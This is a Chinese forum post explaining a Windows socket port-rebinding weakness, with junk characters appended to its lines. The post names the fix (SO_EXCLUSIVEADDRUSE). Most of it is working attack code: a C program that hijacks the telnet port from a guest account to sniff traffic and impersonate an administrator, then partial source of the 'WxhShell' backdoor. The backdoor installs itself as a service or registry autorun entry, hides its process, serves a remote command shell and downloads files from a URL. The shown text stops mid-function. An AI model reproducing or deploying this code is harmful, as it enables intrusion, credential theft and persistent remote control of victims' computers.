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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wD}[XE?S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Q >u N  
 fW|1AUD,  
  saddr.sin_family = AF_INET; !<@k\~9^D  
B%cjRwOT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FZb\VUmnV  
A2$:p$[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ImyB4welo  
j<wWPv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KS3 /  
YD7i6A  
  这意味着什么?意味着可以进行如下的攻击: q"`1cFD  
Y7]N.G3,]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |jF)~k6  
ZKPnvL70  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +'JM:};1X8  
ki=-0G*]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ES }@mO  
W}.;]x%1B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WF-B=BRZ  
(/tbe@<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~z%K9YcyU  
IWsB$T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cddw\|'3  
>mi%L3Pk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wp$C J09f*  
lMFj"x\  
  #include ??ah  
  #include d,6 Z  
  #include T&X*[kP  
  #include    M($dh9A_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !+=jD3HTJ  
  int main() ?4(uwX p  
  { a[[u>oHyd  
  WORD wVersionRequested; <eI7xifD  
  DWORD ret; f-tjMa /_  
  WSADATA wsaData; thl{IU  
  BOOL val; # ]&=]K1V  
  SOCKADDR_IN saddr; <Y9((QSM4  
  SOCKADDR_IN scaddr; _:?)2NV  
  int err; ]aXCi"fMs  
  SOCKET s; v/}M _E  
  SOCKET sc; wQlK[F]!>  
  int caddsize; =>n:\_*M  
  HANDLE mt; G*3O5m  
  DWORD tid;   ?)'j;1_=E3  
  wVersionRequested = MAKEWORD( 2, 2 ); [ % KBc}  
  err = WSAStartup( wVersionRequested, &wsaData ); Uw)?u$+ P  
  if ( err != 0 ) { o5 @ l!NQ  
  printf("error!WSAStartup failed!\n"); wVP{R3  
  return -1; [XhuJdr"u  
  } Etg'"d@[  
  saddr.sin_family = AF_INET; n$F&gx'^  
   '9H7I! L@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \[% [`m  
/}]X3ng  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qj VP]C}p  
  saddr.sin_port = htons(23); @;"HslU\Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O}*[@uv/  
  { ,H'O`oV!1E  
  printf("error!socket failed!\n"); #3f\,4K5  
  return -1; \\Fl,'  
  } tE/j3  
  val = TRUE; 'd D d9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :%{MMhb x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O\q|b#q}/  
  { p>96>7w  
  printf("error!setsockopt failed!\n"); TGY^,H>J  
  return -1; %19TJn%J$  
  } O|O#T.Tg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ahU\(=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !6'j W!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OAEJ?ik  
s,\!@[N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K)`, |q* \  
  { ;sT7c1X^!  
  ret=GetLastError(); A?06fo,  
  printf("error!bind failed!\n"); l[fU0;A  
  return -1; 9(dbou  
  } .-k\Q} D  
  listen(s,2); Ps4spy0Fp  
  while(1) J'sVT{@GS  
  { A84I*d  
  caddsize = sizeof(scaddr); ]HgAI$aA,  
  //接受连接请求 !rlN|HB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D[x0sly  
  if(sc!=INVALID_SOCKET) l Ztq_* Fl  
  { (@vu/yN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SuMK=^>%  
  if(mt==NULL)  I@08F  
  { ]6v6&YV  
  printf("Thread Creat Failed!\n"); r77?s?  
  break; qh Rs5QXL  
  } T_lexX[\  
  } (x2I*<7P  
  CloseHandle(mt); 5 S$*YRp  
  } /lCn^E6-  
  closesocket(s); ?{mFQ  
  WSACleanup(); Q7gBxp  
  return 0; fT!n*;h  
  }   FZ DC?  
  DWORD WINAPI ClientThread(LPVOID lpParam) m jC6(?V  
  { L NmsvU  
  SOCKET ss = (SOCKET)lpParam; Nc()$Nl8  
  SOCKET sc; 3ybEQp9  
  unsigned char buf[4096]; lY yt8H  
  SOCKADDR_IN saddr; CTv-$7#  
  long num; [RiCa  
  DWORD val; MM"{ehd{^a  
  DWORD ret; a.L ?J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2VyLt=mdh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f*04=R?w7>  
  saddr.sin_family = AF_INET; H,9e<x#own  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oIdMDp^$  
  saddr.sin_port = htons(23); J GnL[9P_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n a])bBn  
  { -8X* (7  
  printf("error!socket failed!\n"); \/*r45!  
  return -1; ,YX[6eZr  
  } N93 ZI|T  
  val = 100; kep.+t[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~v$gk   
  { m/r4f279  
  ret = GetLastError(); 8 C@iD%  
  return -1; ^|5bK_Z&  
  }  s de|t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O:"gJ4D  
  { ymT&[+V  
  ret = GetLastError(); &ok2Xw  
  return -1; LGGC=;{}  
  } :PuJF`k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @5K/z<p%  
  { /PN[g~3  
  printf("error!socket connect failed!\n"); UbE*x2N  
  closesocket(sc); nyD(G=Q5  
  closesocket(ss); BY.' 0,H=k  
  return -1; #lRkp.e  
  } MQ9 9fD$  
  while(1) $rD&rsx6  
  { \74+ cN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zp x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hJ 4]GA'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6":=p:PT.  
  num = recv(ss,buf,4096,0); Z.Z+cFi  
  if(num>0) R_eKKi@VH  
  send(sc,buf,num,0); V4ml& D  
  else if(num==0) 6;i]v|M-  
  break; 4<CHwIRHY  
  num = recv(sc,buf,4096,0); %|bqL3)a_  
  if(num>0) q$7WZ+Y\  
  send(ss,buf,num,0); f mILkXKz  
  else if(num==0) M^DYzJ  
  break; {SVd='!V  
  } $q);xs  
  closesocket(ss); +K,]#$k  
  closesocket(sc); xH#R_  
  return 0 ; u snbGkq  
  } UmZ#Cm  
ig3HPlC  
Vi[* a  
========================================================== : &>PN,q>  
zBV7b| j  
下边附上一个代码,,WXhSHELL ,E2Tw-%  
ORHs1/L`j  
========================================================== ]p~w`_3v  
i7v> 9p7  
#include "stdafx.h" BR*,E~%  
l?LwQmq6  
#include <stdio.h> oY{L0B[  
#include <string.h> 42kr&UY&  
#include <windows.h> & F\HR  
#include <winsock2.h> gZF-zhnC  
#include <winsvc.h> GZ( W6 4  
#include <urlmon.h> 8%q:lI  
C qOvVv  
#pragma comment (lib, "Ws2_32.lib") ^=Q/ H  
#pragma comment (lib, "urlmon.lib") `Nmw  
H5j6$y|I|N  
#define MAX_USER   100 // 最大客户端连接数 E Mq P  
#define BUF_SOCK   200 // sock buffer b"n0Yk1  
#define KEY_BUFF   255 // 输入 buffer o<Hk/e~  
{Hg.ctam  
#define REBOOT     0   // 重启 i_8v >F  
#define SHUTDOWN   1   // 关机 97;`R[^J  
N K.]yw'  
#define DEF_PORT   5000 // 监听端口 D#R5G   
qC]6g  
#define REG_LEN     16   // 注册表键长度 P0,@#M&  
#define SVC_LEN     80   // NT服务名长度 -,+zA.{+W  
|tF:]jnIt  
// 从dll定义API 3.>M=K~09  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?o307 r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _{0'3tI7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5jAiqJq~y:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6V)P4ao  
J3`a}LyDf  
// wxhshell配置信息 5'>DvCp%M  
struct WSCFG { ,xmmS\  
  int ws_port;         // 监听端口 5nC#<EE  
  char ws_passstr[REG_LEN]; // 口令 VJquB8?H  
  int ws_autoins;       // 安装标记, 1=yes 0=no %" kF i  
  char ws_regname[REG_LEN]; // 注册表键名 w@,Yj#_9cx  
  char ws_svcname[REG_LEN]; // 服务名 uL| Wuq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o6L\39v_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hq[;QF:B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bc{j0Su  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sI>I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &f48MtE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KCEBJ{jM  
s?r:McF`  
}; W !TnS/O_1  
9n\:grW  
// default Wxhshell configuration ;w0|ev 6|  
struct WSCFG wscfg={DEF_PORT, 8[@aX;I  
    "xuhuanlingzhe", t+7|/GLs2  
    1, IL*Ghq{/  
    "Wxhshell", &/)2P#u  
    "Wxhshell", 62BT3/~  
            "WxhShell Service", ZYf0FC=-  
    "Wrsky Windows CmdShell Service", Mkc   
    "Please Input Your Password: ", rD ^ b{]E3  
  1, 84(NylZ  
  "http://www.wrsky.com/wxhshell.exe", R|4a9G  
  "Wxhshell.exe" /Wos{ }Z 0  
    }; &d}1) ?  
o%Ubn*  
// 消息定义模块 "QCtF55X&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0m8mHJ<&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t @=*k9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }.`no  
char *msg_ws_ext="\n\rExit."; s}3g+T\l1w  
char *msg_ws_end="\n\rQuit."; DAYR=s  
char *msg_ws_boot="\n\rReboot..."; /qf(5Bm  
char *msg_ws_poff="\n\rShutdown..."; |AD" }8  
char *msg_ws_down="\n\rSave to "; <K6gzi0fl  
8<0~j  
char *msg_ws_err="\n\rErr!"; F_C7S  
char *msg_ws_ok="\n\rOK!"; :@x_& b  
 \_GG6  
char ExeFile[MAX_PATH]; Vz4 /u|gt  
int nUser = 0; 7I\qEr57  
HANDLE handles[MAX_USER]; {nQ?+o3  
int OsIsNt; 5pC+*n.  
 8kn> ?  
SERVICE_STATUS       serviceStatus; aL?+# j^"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /?(\6Z_A  
6b!F7ky g  
// 函数声明 tNk.|}  
int Install(void); GhlbYa  
int Uninstall(void); HRP  
int DownloadFile(char *sURL, SOCKET wsh); ^~dBO %M^  
int Boot(int flag); [Q0n-b,Q  
void HideProc(void); !UPKy$  
int GetOsVer(void); irZMgRQAT  
int Wxhshell(SOCKET wsl); ohLM9mc9  
void TalkWithClient(void *cs); ,#/%Fn%T  
int CmdShell(SOCKET sock); )-jA4!&  
int StartFromService(void); >oD,wSYV~  
int StartWxhshell(LPSTR lpCmdLine); 10gh4,z[  
X%>n vp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -q&K9ZCl `  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dUvgFOy|P  
G+5_I"`W  
// 数据结构和表定义 JCe%;U  
SERVICE_TABLE_ENTRY DispatchTable[] = ^$>Q6.x?*)  
{ Chso]N.1  
{wscfg.ws_svcname, NTServiceMain}, 0eMO`8u[A  
{NULL, NULL} 0R21"]L_M  
}; VWLqJd>tr1  
3P, ul*e  
// 自我安装 )c6t`SBwi  
int Install(void) @XJzM]*w&  
{ 0pfgE=9  
  char svExeFile[MAX_PATH]; I-glf?F)  
  HKEY key; ?R!?}7  
  strcpy(svExeFile,ExeFile); ,`Yx(4!rR  
;#)vw;XR  
// 如果是win9x系统,修改注册表设为自启动 RA_gj lJi  
if(!OsIsNt) { D(X:dB50@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jV 'u*2&9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V7S[rI<<r  
  RegCloseKey(key); jx=5E6(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gRsV -qS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hD*83_S  
  RegCloseKey(key); w %2|Po5  
  return 0; S'  <X)  
    } 6P$jMjs  
  } uUIjntSF(  
} 1#w'<}h#U  
else { 7=wPd4  
,%^qzoZnT  
// 如果是NT以上系统,安装为系统服务 >?L)+*^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D!g \-y  
if (schSCManager!=0) 7;8DKY q  
{ [Dq@(Q s'  
  SC_HANDLE schService = CreateService hJc^NU5  
  ( ;5dA  
  schSCManager, bxc!x>)  
  wscfg.ws_svcname, SuJa?VU1w  
  wscfg.ws_svcdisp, xo GX&^=  
  SERVICE_ALL_ACCESS, 7*MjQzg-P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NScUlR"nE  
  SERVICE_AUTO_START, A [hvT\X  
  SERVICE_ERROR_NORMAL, eWk W,a  
  svExeFile, L> \/%x>Wx  
  NULL, kJ_XG;8  
  NULL, [G<SAWFg7  
  NULL, FgnS+c3W(  
  NULL, F2^qf  
  NULL AMSn^ 75  
  ); uS|f|)U&  
  if (schService!=0) b/]@G05>>  
  { 1nZ7xCDK98  
  CloseServiceHandle(schService); 4qKMnYR  
  CloseServiceHandle(schSCManager); Ly~s84k_po  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cT.8&EEW  
  strcat(svExeFile,wscfg.ws_svcname); )e?6 Ncy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6j6P&[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @xkI?vK6  
  RegCloseKey(key); m\"X%Y#  
  return 0; y,F|L?dIq  
    } (GJX[$@  
  } 6DxT(VU}  
  CloseServiceHandle(schSCManager); pKzrdw-!  
} [ApAd  
} 08W^  
5uAUi=XA>S  
return 1; ^@-qnU lH  
} 1 F+$\fLr  
aUyJi  
// 自我卸载 UNhM:!A  
int Uninstall(void) # n\|Q\W  
{ )uK Tf=;  
  HKEY key; 3f)!RKS9q  
,9"A"p*R  
if(!OsIsNt) { _h1:{hF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JfVGs;_,  
  RegDeleteValue(key,wscfg.ws_regname); 0 >:RFCo  
  RegCloseKey(key); ApotRr$)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QG]*v=Z  
  RegDeleteValue(key,wscfg.ws_regname); dMDSyd<(  
  RegCloseKey(key); @sG5Do  
  return 0; Bc1MKE5  
  } zz[[9Am!  
} JrJTIUf_  
} mKZ^FgG  
else { "SFs\] Z  
E[8i$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _>/OqYR_jQ  
if (schSCManager!=0) ?y4vHr"c  
{ ^!x}e+ o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c]3^2Ag,  
  if (schService!=0) r Cn"{.rI  
  { Y6ORI  
  if(DeleteService(schService)!=0) { M^?=!!US^  
  CloseServiceHandle(schService); 8 huB<^  
  CloseServiceHandle(schSCManager); v>' mW  
  return 0; Y^ ti;:  
  } -FW'i10\2+  
  CloseServiceHandle(schService); nOdAp4{:q%  
  } vy{YGT  
  CloseServiceHandle(schSCManager); 9 Xx4,#?  
} S+M:{<AR  
} n||!/u)*  
<^YZ#3~1T  
return 1; nH(H k%~  
} fudLm  
fS- 31<?  
// 从指定url下载文件 h@D</2>  
int DownloadFile(char *sURL, SOCKET wsh) .ta*M{t  
{ xyaU!E*  
  HRESULT hr; SO}en[()O  
char seps[]= "/"; m9li%p  
char *token; HH aerc  
char *file; O\[Td  
char myURL[MAX_PATH]; MnT+p[.  
char myFILE[MAX_PATH]; jY8u1z  
QAK.Qk?Qu  
strcpy(myURL,sURL); RWK##VHK  
  token=strtok(myURL,seps); Dwi[aC+k  
  while(token!=NULL) :rX/I LAr  
  { n$YCIW )0  
    file=token; 'P,F)*kh  
  token=strtok(NULL,seps); G[[NDK  
  } ^bckl tSo  
]J6+nA6)  
GetCurrentDirectory(MAX_PATH,myFILE); bmu<V1[W  
strcat(myFILE, "\\"); ,';+A{aV  
strcat(myFILE, file); 5jBBk*/\  
  send(wsh,myFILE,strlen(myFILE),0); _=oNQ  
send(wsh,"...",3,0); Gj(UA1~1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n:5*Tg9  
  if(hr==S_OK) zV=(e( [  
return 0; h | +(  
else K#],4OG  
return 1; *3We5  
KqT~MPl  
} n\D3EP<s  
D:Y `{{  
// 系统电源模块 l5d> YTK+5  
int Boot(int flag) ,wlSNb@'  
{ >`'>,n |  
  HANDLE hToken; )gq(  
  TOKEN_PRIVILEGES tkp; SsF 5+=A  
$/uNV1 ]o  
  if(OsIsNt) { t?j2Rw3f`I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hhvP*a_J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -!p -nk@9|  
    tkp.PrivilegeCount = 1; ,9;d"ce  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q|W!m0XO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); : j m|)  
if(flag==REBOOT) { C'$}!p70  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4D\+_Ic3  
  return 0; ,Uv8[ci%9  
} f{[,!VG  
else { \w=7L- 8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oNV(C'A  
  return 0; @5# RGM)5^  
} =7Y gES  
  } SY}iU@xo  
  else { n!(g<"  
if(flag==REBOOT) { Q,A`"e#:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iAlFgOk'  
  return 0; @9rmm)TZ  
} NX*9nwp^  
else { Eh)VU_D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "rA: ;ntz  
  return 0; fJ3qL# '  
} YMx zj  
} #2!M+S  
$PQlaivA  
return 1; *X^__PS]  
} x6x6N&f?  
s!E-+Gw  
// win9x进程隐藏模块 ^Y:Q%?uB/  
void HideProc(void) sE8.,\  
{ Pk; 9\0k7  
K,IPVjS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p3eJFg$  
  if ( hKernel != NULL ) r_Rjjo  
  { uGQCW\!"4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]&ptld;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N2_=^s7  
    FreeLibrary(hKernel); m~Dq0 T  
  } =;3|?J0=  
oLn| UWe_  
return; Te#wU e-|  
} V6d*O`  
*X;g Y  
// 获取操作系统版本 m`c(J1Et  
int GetOsVer(void) ~QsQ7SAs  
{ wz!]]EQ!o  
  OSVERSIONINFO winfo; 4[!&L:tR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x./jTebeO  
  GetVersionEx(&winfo); ma }Y\(38  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2/B Flb  
  return 1; #1zWzt|DW  
  else _+8$=k2nM  
  return 0; }# -N7=h  
} 9_ Qm_  
I#Tl  
// 客户端句柄模块 Hf %;FaJ=  
int Wxhshell(SOCKET wsl) ^aZ Wu|p  
{ +>OEp * j  
  SOCKET wsh; DZXv3gnX  
  struct sockaddr_in client; Z<r&- !z  
  DWORD myID; |"P5%k#6^>  
P N_QK Z  
  while(nUser<MAX_USER) Y#6@0Nn[G  
{ o\Hg2^YY>  
  int nSize=sizeof(client); T"Q4vk,3*J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l{Hi5x'H  
  if(wsh==INVALID_SOCKET) return 1; {F k]X#j  
F,O+axO ja  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @Ds?  
if(handles[nUser]==0) xsFWF*HPs  
  closesocket(wsh); (cYc03"  
else !T0IMI  
  nUser++; -JZl?hY(  
  } ZrA\a#z"<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5H 1(C#|  
nL+*Ja  
  return 0; }M|  
} (7ew&u\Li  
eOn,`B1  
// 关闭 socket fD\h5`-  
void CloseIt(SOCKET wsh)  df 1* [  
{ u(ZS sftat  
closesocket(wsh); XpH[SRUx  
nUser--; de1&  
ExitThread(0); i}<R >]S  
} SsznV}{^  
nfDPM\FFD  
// 客户端请求句柄 CsSB'+&{  
void TalkWithClient(void *cs) 4kg9R^0  
{ jgbw'BBu  
rP`\<}a.  
  SOCKET wsh=(SOCKET)cs; u>S&?X'a  
  char pwd[SVC_LEN];  ]NAPvw#p  
  char cmd[KEY_BUFF]; GN1cnM>`  
char chr[1]; C [2tH2*#  
int i,j; 5Ll[vBW  
LwGcy1F.  
  while (nUser < MAX_USER) { x2ol   
RV(}\JU  
if(wscfg.ws_passstr) { +Kq>r|;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h'-TZXs0e1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g>im2AD+e  
  //ZeroMemory(pwd,KEY_BUFF); ^1cqx]>E  
      i=0; Y5MHd>m  
  while(i<SVC_LEN) { m'qMcCE  
^m1Rw|  
  // 设置超时 { J0^S  
  fd_set FdRead; TVFGonVY  
  struct timeval TimeOut; +&?VA!}.  
  FD_ZERO(&FdRead); NOS5bm&-  
  FD_SET(wsh,&FdRead); @ ~sp:l  
  TimeOut.tv_sec=8; 6PMu;#  
  TimeOut.tv_usec=0; II<<-Y6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fRa1m?%s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p[uwG31IL`  
E?XA/z !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >leOyBEAR  
  pwd=chr[0]; r>)\"U#  
  if(chr[0]==0xd || chr[0]==0xa) { >Le mTr  
  pwd=0; Dea;9O  
  break; F'#3wCzt  
  } Q49|,ou[H  
  i++; [#Yyw8V#<  
    } v l*RRoJ  
S,8zh/1y  
  // 如果是非法用户,关闭 socket FD@! z :  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k2@IJ~  
} P! O#"(r2]  
k Dv)g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |;_ yAL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1QN]9R0`#7  
W.67, 0m$  
while(1) { ^2??]R&Q  
gR(c;  
  ZeroMemory(cmd,KEY_BUFF); KcU,RTE  
=;{S>P!I(t  
      // 自动支持客户端 telnet标准   Z9sg6M@s  
  j=0; 8@qahEgQ  
  while(j<KEY_BUFF) { NFSPw` f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AjlG_F  
  cmd[j]=chr[0]; V+Tj[:ok  
  if(chr[0]==0xa || chr[0]==0xd) { A!f0AEA,  
  cmd[j]=0; 'Aqmf+Mm  
  break; ~clWG-i  
  } NPc%}V&C(u  
  j++; pj )I4C)  
    } I0ie3ESdN  
cu"%>>,,  
  // 下载文件 m:41zoV  
  if(strstr(cmd,"http://")) { /d=$,q1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3|?fGT;P  
  if(DownloadFile(cmd,wsh)) *m"mt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4YCGh  
  else ?eO|s5r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 82=][9d #  
  } 1Jd:%+T  
  else { 08` @u4  
@E)XT\;3  
    switch(cmd[0]) { {l6]O  
  W[?B@sdSZ  
  // 帮助 )5t_tPv  
  case '?': { Qpc{7#bp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *= 71/&B  
    break; MJC Yi<D  
  } }"8_$VDcz  
  // 安装 +\ySx^vi  
  case 'i': { bCrB'&^t  
    if(Install()) 5cADC`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wTW"1M  
    else "L)pH@)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;F+%{LgKl  
    break; .Sn1YAhE  
    } f65Sr"qB3  
  // 卸载 D[r  
  case 'r': { J91`wA&r  
    if(Uninstall()) :d#NnR0^L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kaa*;T![  
    else /f[_]LeV]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8vRiVJ8QS:  
    break; lrE0)B5F  
    } M,@SUu v"  
  // 显示 wxhshell 所在路径 Z~|J"2.  
  case 'p': { QEgv,J{  
    char svExeFile[MAX_PATH]; 9N29dp>g{{  
    strcpy(svExeFile,"\n\r");  ;E&XFTdO  
      strcat(svExeFile,ExeFile); tWiV0PTI  
        send(wsh,svExeFile,strlen(svExeFile),0); &zp5do;m  
    break; -Gpj^aBU  
    } %FU[ j^  
  // 重启 B<R-|-#  
  case 'b': { uM}O8N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y'5ck(  
    if(Boot(REBOOT)) n`,Q:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A-io-P7qyj  
    else { FCWphpz  
    closesocket(wsh); ,2`d3u^CW  
    ExitThread(0); W24bO|>D  
    } agYK aM1N  
    break; Kq$Zyf=E  
    } A E711l-  
  // 关机 "!tB";n  
  case 'd': { Mb>XM7}PU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +7^Ul6BB#K  
    if(Boot(SHUTDOWN)) ttnXEF  
